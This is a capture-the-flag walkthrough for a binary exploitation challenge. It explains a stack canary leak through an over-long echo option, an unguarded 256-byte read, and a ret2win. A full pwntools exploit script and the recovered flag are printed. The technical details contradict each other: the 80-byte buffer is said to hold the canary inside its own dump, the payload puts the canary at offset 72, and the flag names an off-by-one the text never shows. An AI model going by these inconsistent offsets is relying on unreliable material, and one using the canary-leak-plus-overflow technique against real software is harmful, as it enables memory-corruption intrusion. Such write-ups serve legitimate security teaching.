

Corvus Glaive's Edge

MIRAGE 2.0 — Binary Exploitation — Walkthrough

CATEGORY	DIFFICULTY	FILES
Binary Exploitation (Pwn)	Medium	corvus_glaives_edge
DEPLOYMENT	VULNERABILITY	STATUS
Offline binary — run locally	Stack canary leak + overflow → ret2win	Solved

Step 1 — First Contact

The binary opens a “Corvus Command Interface” with four options: Set Strike Target, Confirm Target, Enter Override Code, Execute Strike & Exit. Trying each in turn: option 1 accepts a line of text and says it was recorded; option 2 echoes something back labeled “Target acquired:”; option 3 accepts another line; option 4 just exits. The premise — “execute a precise strike to override the defenses” — plus a menu that reads and echoes data back is again the classic shape of a stack-overflow challenge, but the word “precise” is doing some work: it hints that a blind, un-aimed overflow won't be enough here.

Step 2 — Recon

```
$ checksec --file=corvus_glaives_edge
Canary: yes  NX: yes  PIE: no
```

This time there *is* a stack canary. That single fact changes the plan immediately: a plain return-address overwrite like the previous challenge would now be caught before it ever executes, because the canary check runs before the function returns. Whatever the overflow turns out to be, it will need a way to either avoid touching the canary, or to know its exact value in advance.

Step 3 — Reading Each Menu Option in the Disassembly

All four options act on one shared 80-byte stack buffer inside `glaive_interface()`, with the canary sitting directly above it at `rbp-0x8`. Reading each handler in turn:

- **[1] Set Strike Target** reads 0x49 (73) bytes into the 0x50 (80)-byte buffer — one byte short of the buffer boundary. In isolation, not enough to reach the canary.
- **[2] Confirm Target** is the interesting one: it `write()`s the *entire* raw 80-byte buffer back to the socket — not just the up-to-73 bytes that were ever written into it by option 1. The remaining bytes are whatever was already sitting on the stack from earlier calls, and that includes the 8 bytes of the actual canary sitting right after the buffer.
- **[3] Enter Override Code** reads up to 0x100 (256) bytes into the same 80-byte buffer — a large, completely unguarded overflow that reaches well past the canary, the saved RBP, and the return address.
- **[4] Execute Strike & Exit** checks the canary, then does `leave; ret.`

Put together: option 2 is an accidental information leak that hands us the canary for free, and option 3 is the actual overflow primitive. Scanning for unreferenced functions again turns up `corvus_override()` at `0x40129b` — never called, XOR-0x55-decodes and prints the flag, exactly the same win-function pattern as the previous challenge.

Step 4 — Confirming the Leak Before Trusting It

Before wiring this into a full exploit, it's worth calling option 2 by hand and checking that the last 8 bytes of the 80-byte dump actually look like a plausible canary — x86-64 stack canaries always end in a null byte, so the leaked value should show that pattern. Seeing that confirms the offset assumption (buffer end at byte 72, canary occupying bytes 72–79) before it's baked into the overflow payload.

Step 5 — Building and Running the Exploit

```
from pwn import *

io = process('./corvus_glaives_edge')

io.sendline(b'2')                # Confirm Target -> leak 80 raw bytes
io.recvuntil(b'Target acquired:')
leaked = io.recvline()
canary = leaked[-9:-1]           # last 8 bytes before the newline

io.sendline(b'3')                # Enter Override Code
payload = b'A' * 72              # fill buffer up to the canary
payload += canary                # replay the leaked canary exactly
payload += b'B' * 8              # saved RBP (junk)
payload += p64(0x40129b)         # corvus_override()
io.sendline(payload)

io.sendline(b'4')                # Execute Strike & Exit -> triggers ret
io.interactive()
```

Replaying the exact leaked canary value means the check in option 4 still passes; the return address underneath it, however, has been replaced, so execution lands in `corvus_override()` instead of back in `main`.

FLAG

MIRAGE{0ff_by_0n3_null_byt3_can4ry_h1j4ck_p5}

Takeaway

A stack canary defeats a blind overflow, but it doesn't defend against an overflow paired with an unrelated information leak elsewhere in the same program. When a binary has a canary, the first question to ask isn't "where can I overflow," it's "where does this program ever print more of the stack than it should" — here, an over-eager "echo it back" feature was the leak.